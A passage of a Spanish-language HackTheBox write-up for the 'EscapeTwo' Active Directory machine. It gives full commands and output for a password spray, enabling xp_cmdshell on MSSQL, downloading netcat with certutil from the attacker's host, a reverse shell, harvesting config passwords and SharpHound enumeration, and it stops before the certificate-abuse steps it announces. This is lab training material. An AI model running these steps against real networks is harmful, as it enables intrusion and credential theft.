EscapeTwo – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

Avatar escapetwo


Resumen Link to heading

“EscapeTwo” es una máquina de dificultad Fácil de la plataforma HackTheBox enfocada en Active Directory. Empezamos con credenciales iniciales dadas para un primer usuario. Este primer usuario tiene acceso a un archivo el cual contiene múltiples contraseñas. Una de estas contraseñas funciona para un segundo usuario en el sistema. Además, esta contraseña funciona para acceder a un servicio Microsoft SQL Server (MSSQL), del cual somos capaces de ejecutar comandos a nivel de sistema y ganar acceso inicial a la máquina víctima. Una vez dentro, somos capaces de leer archivos de configuración del servicio SQL, donde una contraseña encontrada es reutilizada por un tercer usuario en el sistema. Este tercer usuario tiene el permiso WriteOwner sobre una cuenta CA (Certiicate Authority), relacionada a Active Directory Certificate Services (AD CS); esto nos permite realizar un ataque de Shadow Credentials y así extraer su hash NT. Finalmente, usando este último usuario CA, encontramos un certificado vulnerable a ESC4. Esto nos permite solicitar un certificado en nombre del usuario Administrator, lo que a su vez nos permite extraer su hash NT y así tomar control total del dominio.


User / Usuario Link to heading

Información
Empezamos con credenciales dadas: usuario rose y contraseña KxEPkKe6R8su.

User Link to heading

Empezamos buscando puertos TCP abiertos en la máquian víctima junto con un rápido y silencioso escaneo con Nmap:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv

El escaneo de Nmap muestra múltiples puertos abiertos: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 SMB, 1433 Microsoft SQL Server (MSSQL), 5985 Windows Remote Management (WinRM); entre muchos otros. Realizamos algunos scripts de reconocimiento sobre estos puertos usando la flag -sVC:

❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49687,49692,49716,49725,49796 10.10.11.51

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 03:43 -03
Nmap scan report for 10.10.11.51
Host is up (0.31s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-14 06:43:53Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:34+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:33+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
|   10.10.11.51:1433:
|     Target_Name: SEQUEL
|     NetBIOS_Domain_Name: SEQUEL
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: DC01.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2025-01-14T06:45:34+00:00; +2s from scanner time.
| ms-sql-info:
|   10.10.11.51:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-13T20:46:30
|_Not valid after:  2055-01-13T20:46:30
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:34+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:33+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         Microsoft Windows RPC
49687/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
49716/tcp open  msrpc         Microsoft Windows RPC
49725/tcp open  msrpc         Microsoft Windows RPC
49796/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: 2s, deviation: 0s, median: 1s
| smb2-time:
|   date: 2025-01-14T06:44:56
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.23 seconds

Por lo que estamos ante un entorno Active Directory (AD), dado que los servicios Kerberos, RPC, LDAP y SMB se encuentran activos.

Usando NetExec contra el servicio SMB muestra que tenemos una máquina con nombre DC01, que a su vez se encuentra en un dominio sequel.htb:

❯ nxc smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su

Agregamos así el FQDN (DC01.sequel.htb), el nombre de la máquina (DC01) y el dominio (sequel.htb) a nuestro archivo /etc/hosts dado que este es claramente el Domain Controller del entorno AD debido a su nombre (DC -> Domain Controller):

❯ echo '10.10.11.51 DC01 DC01.sequel.htb sequel.htb' | sudo tee -a /etc/hosts

Buscando por recursos compartidos en el servicio SMB para el usuario que se nos ha dado podemos ver que hay 2 recursos compartidos los cuales no son los que siempre están por defecto; uno llamado Accounting Department y otro llamado Users:

❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --shares

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.10.11.51     445    DC01             [*] Enumerated shares
SMB         10.10.11.51     445    DC01             Share           Permissions     Remark
SMB         10.10.11.51     445    DC01             -----           -----------     ------
SMB         10.10.11.51     445    DC01             Accounting Department READ
SMB         10.10.11.51     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.51     445    DC01             C$                              Default share
SMB         10.10.11.51     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.51     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.51     445    DC01             SYSVOL          READ            Logon server share
SMB         10.10.11.51     445    DC01             Users           READ

Podemos usar, nuevamente, NetExec para revisar el contenido dentro del recurso compartido Accounting Department. También podemos usar la flag --pattern . para decir que queremos ver todo el output:

❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --spider 'Accounting Department' --pattern .

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.10.11.51     445    DC01             [*] Started spidering
SMB         10.10.11.51     445    DC01             [*] Spidering .
SMB         10.10.11.51     445    DC01             //10.10.11.51/Accounting Department/. [dir]
SMB         10.10.11.51     445    DC01             //10.10.11.51/Accounting Department/.. [dir]
SMB         10.10.11.51     445    DC01             //10.10.11.51/Accounting Department/accounting_2024.xlsx [lastm:'2024-06-09 07:11' size:10217]
SMB         10.10.11.51     445    DC01             //10.10.11.51/Accounting Department/accounts.xlsx [lastm:'2024-06-09 07:11' size:6780]
SMB         10.10.11.51     445    DC01             [*] Done spidering (Completed in 1.4340341091156006)

Podemos ver 2 archivos: accounting_2024.xlsx y accounts.xlsx.

Podemos escargar estos archivos usando nuevamente NetExec:

❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file accounting_2024.xlsx accounting_2024.xlsx

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.10.11.51     445    DC01             [*] Copying "accounting_2024.xlsx" to "accounting_2024.xlsx"
SMB         10.10.11.51     445    DC01             [+] File "accounting_2024.xlsx" was downloaded to "accounting_2024.xlsx"

❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file accounts.xlsx accounts.xlsx

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.10.11.51     445    DC01             [*] Copying "accounts.xlsx" to "accounts.xlsx"
SMB         10.10.11.51     445    DC01             [+] File "accounts.xlsx" was downloaded to "accounts.xlsx"

Estos son archivos .xlsx:

Información
XLSX files are a zipped, XML-based excel file format created by Microsoft Excel
En corto, son archivos para Excel.

Una vez descargados estos archivos, debemos extraer su contenido. Para ello creamos un directorio en nuestra máquina de atacantes donde guardaremos todo el contenido de los archivos comprimidos:

❯ mkdir accounts_content

❯ xdg-open accounts.xlsx

Y extraemos su contenido. En mi caso lo hago mediante la ventana GUI:

EscapeTwo 1

Obtuve un error de que algunos archivos no pudieron ser extraídos, pero pude extraer la mayoría de ellos:

❯ tree -f .

.
├── ./[Content_Types].xml
├── ./docProps
│   ├── ./docProps/app.xml
│   ├── ./docProps/core.xml
│   └── ./docProps/custom.xml
├── ./_rels
└── ./xl
    ├── ./xl/_rels
    │   └── ./xl/_rels/workbook.xml.rels
    ├── ./xl/sharedStrings.xml
    ├── ./xl/styles.xml
    ├── ./xl/theme
    │   └── ./xl/theme/theme1.xml
    ├── ./xl/workbook.xml
    └── ./xl/worksheets
        ├── ./xl/worksheets/_rels
        │   └── ./xl/worksheets/_rels/sheet1.xml.rels
        └── ./xl/worksheets/sheet1.xml

8 directories, 11 files

Buscamos si la palabra password está presente en alguno de estos archivos extraídos usando grep:

❯ grep -ir 'password' . 2>/dev/null

./xl/sharedStrings.xml:<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24"><si><t xml:space="preserve">First Name</t></si><si><t xml:space="preserve">Last Name</t></si><si><t xml:space="preserve">Email</t></si><si><t xml:space="preserve">Username</t></si><si><t xml:space="preserve">Password</t></si><si><t xml:space="preserve">Angela</t></si><si><t xml:space="preserve">Martin</t></si><si><t xml:space="preserve">angela@sequel.htb</t></si><si><t xml:space="preserve">angela</t></si><si><t xml:space="preserve">0fwz7Q4mSpurIt99</t></si><si><t xml:space="preserve">Oscar</t></si><si><t xml:space="preserve">Martinez</t></si><si><t xml:space="preserve">oscar@sequel.htb</t></si><si><t xml:space="preserve">oscar</t></si><si><t xml:space="preserve">86LxLBMgEWaKUnBG</t></si><si><t xml:space="preserve">Kevin</t></si><si><t xml:space="preserve">Malone</t></si><si><t xml:space="preserve">kevin@sequel.htb</t></si><si><t xml:space="preserve">kevin</t></si><si><t xml:space="preserve">Md9Wlq1E5bZnVDVo</t></si><si><t xml:space="preserve">NULL</t></si><si><t xml:space="preserve">sa@sequel.htb</t></si><si><t xml:space="preserve">sa</t></si><si><t xml:space="preserve">MSSQLP@ssw0rd!</t></si></sst>

El archivo xl/sharedStrings.xml tiene algo.

Para tener una mejor visión de lo que contiene este archivo podríamos abrir este archivo usando LibreOffice o usar una página online que abra archivos .xml. Dado que me gusta complicarme la vida, creo un script en Python el cual lee este archivo .xml:

#!/usr/bin/python3
import xml.etree.ElementTree as ET

def parse_shared_strings(xml_file):
    # Parse the XML file
    tree = ET.parse(xml_file)
    root = tree.getroot()

    namespace = {'ns': 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'}

    # Extract text from all <t> tags
    data = [elem.text if elem.text != "NULL" else "<NULL>" for elem in root.findall(".//ns:t", namespace)]

    updated_data = []
    for i, value in enumerate(data):
        updated_data.append(value)
        if i % 5 == 0 and value == "<NULL>":  # We have 5 fields in XML file
            updated_data.append("<NULL>")  # Add "<NULL>" for "Last Name"
    
    return updated_data

def pretty_print(data):
    # Group data into rows of 5 (assuming each row has 5 fields)
    rows = [data[i:i+5] for i in range(0, len(data), 5)]

    # Print header
    print("{:<12} {:<12} {:<25} {:<12} {:<20}".format("First Name", "Last Name", "Email", "Username", "Password"))
    print("-" * 85)

    # Print rows
    for row in rows:
        print("{:<12} {:<12} {:<25} {:<12} {:<20}".format(*row))

if __name__ == "__main__":
    # Path to the XML file
    xml_file = "./xl/sharedStrings.xml"

    # Parse the data
    data = parse_shared_strings(xml_file)

    # Pretty print the data
    pretty_print(data)

y lo ejecutamos:

❯ python3 xml_viewver.py

First Name   Last Name    Email                     Username     Password
-------------------------------------------------------------------------------------
First Name   Last Name    Email                     Username     Password
Angela       Martin       angela@sequel.htb         angela       0fwz7Q4mSpurIt99
Oscar        Martinez     oscar@sequel.htb          oscar        86LxLBMgEWaKUnBG
Kevin        Malone       kevin@sequel.htb          kevin        Md9Wlq1E5bZnVDVo
<NULL>       <NULL>       sa@sequel.htb             sa           MSSQLP@ssw0rd!

Tenemos 5 usuarios y sus contraseñas.

Podemos guardar todos estos usuarios en un archivo:

❯ python3 xml_viewver.py | tail -n 4 | awk '{print $4}' > potential_users.txt

y guardar todas las contraseñas en otro archivo:

❯ python3 xml_viewver.py | tail -n 4 | awk '{print $5}' > potential_passwords.txt

Antes de realizar un ataque Password Spray (probar una misma contraseña para distintos usuarios), siempre es buena idea revisar el número de intentos que podemos realizar para loguearse incorrectamente antes de que una cuenta se bloquee. Podemos hacer esto con nuestro compañero NetExec y la flag --pass-pol para el servicio SMB:

❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --pass-pol

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.10.11.51     445    DC01             [+] Dumping password info for domain: SEQUEL
SMB         10.10.11.51     445    DC01             Minimum password length: 7
SMB         10.10.11.51     445    DC01             Password history length: 24
SMB         10.10.11.51     445    DC01             Maximum password age: 41 days 23 hours 53 minutes
SMB         10.10.11.51     445    DC01
SMB         10.10.11.51     445    DC01             Password Complexity Flags: 000000
SMB         10.10.11.51     445    DC01                 Domain Refuse Password Change: 0
SMB         10.10.11.51     445    DC01                 Domain Password Store Cleartext: 0
SMB         10.10.11.51     445    DC01                 Domain Password Lockout Admins: 0
SMB         10.10.11.51     445    DC01                 Domain Password No Clear Change: 0
SMB         10.10.11.51     445    DC01                 Domain Password No Anon Change: 0
SMB         10.10.11.51     445    DC01                 Domain Password Complex: 0
SMB         10.10.11.51     445    DC01
SMB         10.10.11.51     445    DC01             Minimum password age: 1 day 4 minutes
SMB         10.10.11.51     445    DC01             Reset Account Lockout Counter: 10 minutes
SMB         10.10.11.51     445    DC01             Locked Account Duration: 10 minutes
SMB         10.10.11.51     445    DC01             Account Lockout Threshold: None
SMB         10.10.11.51     445    DC01             Forced Log off Time: Not Set

Tenemos infinitas oportunidades para probar contraseñas para una cuenta, como se espera para una máquina de dificultad Easy.

Nota
En pentests en la vida real debemos ser cuidadosos a la hora de realizar un Password Spray o podemos bloquear cuentas importantes de una empresa.

Usamos NetExec para revisar credenciales que podrían ser útiles:

❯ nxc smb dc01.sequel.htb -u potential_users.txt -p potential_passwords.txt --continue-on-success

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
<SNIP>
SMB         10.10.11.51     445    DC01             [-] sequel.htb\angela:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE
SMB         10.10.11.51     445    DC01             [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
SMB         10.10.11.51     445    DC01             [-] sequel.htb\kevin:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE
<SNIP>

Tenemos credenciales válidas: oscar:86LxLBMgEWaKUnBG.

No obstante, este usuario no tiene recursos compartidos nuevos o algo que no hayamos visto antes:

❯ nxc smb dc01.sequel.htb -u oscar -p '86LxLBMgEWaKUnBG' --shares

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
SMB         10.10.11.51     445    DC01             [*] Enumerated shares
SMB         10.10.11.51     445    DC01             Share           Permissions     Remark
SMB         10.10.11.51     445    DC01             -----           -----------     ------
SMB         10.10.11.51     445    DC01             Accounting Department READ
SMB         10.10.11.51     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.51     445    DC01             C$                              Default share
SMB         10.10.11.51     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.51     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.51     445    DC01             SYSVOL          READ            Logon server share
SMB         10.10.11.51     445    DC01             Users           READ

Recordemos que el servicio MSSQL también estaba corriendo en la máquina víctima. Revisamos así si las credenciales encontradas para el usuario sa usando las credenciales sa:MSSQLP@ssw0rd!, recordando de usar la flag --local-auth en el módulo mssql de NetExec para usar login del servicio MSSQL (si no usamos --local-auth vamos a tratar de loguearnos a este servicio utilizando credenciales del servicio AD):

❯ nxc mssql dc01.sequel.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth

MSSQL       10.10.11.51     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.10.11.51     1433   DC01             [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)

Funcionó. Tenemos credenciales válidas para MSSQL.

Podemos así usar impacket-mssqlclient para entrar en este servicio:

❯ impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@dc01.sequel.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (sa  dbo@master)>

Ya en este punto, siempre es una buena idea ir a HackTricks y ver lo que podemos hacer.

Revisamos bases de datos:

SQL (sa  dbo@master)> SELECT name FROM master.dbo.sysdatabases;

name
------
master

tempdb

model

msdb

Pero estas son las bases de datos que vienen en MSSQL. Por lo que no hay nada interesante.

Podemos ver si podemos ejecutar comandos:

SQL (sa  dbo@master)> EXEC xp_cmdshell "net user";

ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

No podemos.

Sin embargo, también podemos revisar si podemos habilitar la opción para ejecutar comandos:

SQL (sa  dbo@master)> EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;

INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

Parece ser que ha funcionado. Si tratamos de ejecutar comandos con xp_cmdshell obtenemos:

SQL (sa  dbo@master)> EXEC xp_cmdshell "net user";

output
-------------------------------------------------------------------------------
NULL

User accounts for \\DC01

NULL

-------------------------------------------------------------------------------

Administrator            ca_svc                   Guest

krbtgt                   michael                  oscar

rose                     ryan                     sql_svc

The command completed successfully.

NULL

NULL

Vemos que ha funcionado.

Podemos así pasar un binario de netcat para Windows en la máquina víctima. Empezamos un servidor temporal HTTP con Python por el puerto 8000 exponiendo el archivo de netcat:

❯ ls -la && python3 -m http.server 8000

total 56
drwxrwxr-x 2 gunzf0x gunzf0x  4096 Jan 14 05:16 .
drwxrwxr-x 5 gunzf0x gunzf0x  4096 Jan 14 03:42 ..
-rw-r--r-- 1 gunzf0x gunzf0x 45272 Jan 14 05:16 nc64.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

y, en la máquina víctima, usamos certutil para descargar el binario de netcat desde nuestra máquina de atacantes:

SQL (sa  dbo@master)> EXEC xp_cmdshell "certutil.exe -urlcache -split -f http://10.10.16.3:8000/nc64.exe C:\Users\Public\Downloads\nc.exe";

output
---------------------------------------------------
****  Online  ****

  0000  ...

  b0d8

CertUtil: -URLCache command completed successfully.

NULL

Empezamos un listener con netcat por el puerto 443, junto con rlwrap para tener algunas opciones como movernos hacia los lados con las flechas o poder ver comandos previos en la terminal:

❯ rlwrap -cAr nc -lvnp 443

Ya en escucha, ejecutamos el binario de netcat en la máquina víctima para enviarnos una reverse shell a nuestra máquina de atacantes mediante la sesión de impacket-mssqlclient:

SQL (sa  dbo@master)> EXEC xp_cmdshell "C:\Users\Public\Downloads\nc.exe 10.10.16.3 443 -e cmd.exe";

Obtenemos así una shell como el usuario sql_svc:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.51] 59982
Microsoft Windows [Version 10.0.17763.6659]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
sequel\sql_svc

En el directorio C:\ existe una carpeta SQL2019:

C:\Windows\system32>dir C:\

dir C:\
 Volume in drive C has no label.
 Volume Serial Number is 3705-289D

 Directory of C:\

11/05/2022  11:03 AM    <DIR>          PerfLogs
01/04/2025  07:11 AM    <DIR>          Program Files
06/09/2024  07:37 AM    <DIR>          Program Files (x86)
06/08/2024  02:07 PM    <DIR>          SQL2019
06/09/2024  05:42 AM    <DIR>          Users
01/04/2025  08:10 AM    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)   2,178,764,800 bytes free

Buscando por archivos de configuración en esta carpeta encontramos:

C:\SQL2019>tree /f . | findstr /i conf

tree /f . | findstr /i conf
       SETUP.EXE.CONFIG
       sql-Configuration.INI
           CONFIGURATION.UICFG
<SNIP>

Excluyendo archivos .exe y .dll, tenemos algunos archivos .xml y .ini. Esta página sugiere que para servicios MSSQL los archivos de configuración deberían ser archivos .ini.

Por ende, revisamos sql-Configuration.INI y obtenemos algo:

C:\SQL2019>type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI | findstr /i password

type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI | findstr /i password
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"

Tenemos una contraseña: WqSZAF6CysDQbGb3.

Podemos buscar por archivos en esta máquina:

C:\SQL2019>net user
net user

User accounts for \\DC01

-------------------------------------------------------------------------------
Administrator            ca_svc                   Guest
krbtgt                   michael                  oscar
rose                     ryan                     sql_svc
The command completed successfully.

Fuera de oscar y rose (cuyas contraseñas ya conocemos), tenemos 3 nuevos usuarios: michael, ca_svc y ryan. Podemos, como ya es usual, utilizar NetExec para revisar si esta contraseña es válida para cualquiera de estos usuarios:

❯ nxc smb dc01.sequel.htb -u michael ca_svc ryan -p 'WqSZAF6CysDQbGb3'

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [-] sequel.htb\michael:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB         10.10.11.51     445    DC01             [-] sequel.htb\ca_svc:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB         10.10.11.51     445    DC01             [+] sequel.htb\ryan:WqSZAF6CysDQbGb3

Tenemos credenciales válidas: ryan:WqSZAF6CysDQbGb3.

El usuario ryan es miembro del Remote Management Users:

C:\SQL2019>net user ryan

net user ryan
User name                    ryan
Full Name                    Ryan Howard
<SNIP>
Last logon                   1/13/2025 3:39:27 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Management Department*Domain Users
The command completed successfully.

Por lo que deberíamos ser capaces de acceder por medio del servicio WinRM como este usuario a la máquina víctima. Lo chequeamos con NetExec:

❯ nxc winrm dc01.sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3'

WINRM       10.10.11.51     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
WINRM       10.10.11.51     5985   DC01             [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)

Tenemos acceso por medio del servicio WinRM.

Por tanto, usamos evil-winrm para conectarnos como el usuario ryan en la máquina víctima:

❯ evil-winrm -i dc01.sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3'

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>

NT Authority/System - Administrador Link to heading

Lo que llama especialmente mi atención al usar el comando net user es que existe un usuario ca_svc. CA es usualmente un acrónimo para Certification Authority en entornos AD, más espefíciamente para Active Directory Certificate Services (AD CS).

Para analizar el entorno AD usaremos Bloodhound. Para obtener extraer información del dominio usaremos en específico SharpHound, el cual puede ser descargado desde su repositorio de Github. Nos descargamos una copia, descomprimimos su contenido, extraemos el archivo .exe y subimos este archivo a la máquina víctima usando el comando upload de evil-winrm:

*Evil-WinRM* PS C:\Users\ryan\Documents> upload SharpHound.exe

Ya subido el binario a la máquina víctima, ejecutamos SharpHound para recolectar información acerca del entorno AD:

*Evil-WinRM* PS C:\Users\ryan\Documents> .\SharpHound.exe -c All

2025-01-14T00:47:24.0440447-08:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-01-14T00:47:24.2784202-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
<SNIP>
 1 name to SID mappings.
 1 machine sid mappings.
 4 sid to domain mappings.
 0 global catalog mappings.
2025-01-14T00:47:26.6377987-08:00|INFORMATION|SharpHound Enumeration Completed at 12:47 AM on 1/14/2025! Happy Graphing!

Esto debería de generar un archivo .zip:

*Evil-WinRM* PS C:\Users\ryan\Documents> ls


    Directory: C:\Users\ryan\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/14/2025  12:47 AM          34959 20250114004725_BloodHound.zip
-a----        1/14/2025  12:47 AM           1523 NGZlZGJhNTUtZGMxZi00MzRhLTkxYzUtZWNjYjM1NGU4YzNl.bin
-a----        1/14/2025  12:46 AM        1556480 SharpHound.exe

Usamos el comando download de evil-winrm para descargar el archivo comprimido desde la máquina víctima a nuestra máquina de atacantes:

*Evil-WinRM* PS C:\Users\ryan\Documents> download 20250114004725_BloodHound.zip

Info: Downloading C:\Users\ryan\Documents\20250114004725_BloodHound.zip to 20250114004725_BloodHound.zip

Info: Download successful!

En nuestra máquina víctima, subimos el archivo .zip a Bloodhound (en mi caso usaré la Community Edition, o CE). Buscamos por el usuario ryan y clickeamos en Outbound Object Control al lado derecho. Así es que podemos ver:

EscapeTwo 2

Tenemos el permiso WriteOwner sobre la cuenta ca_svc:

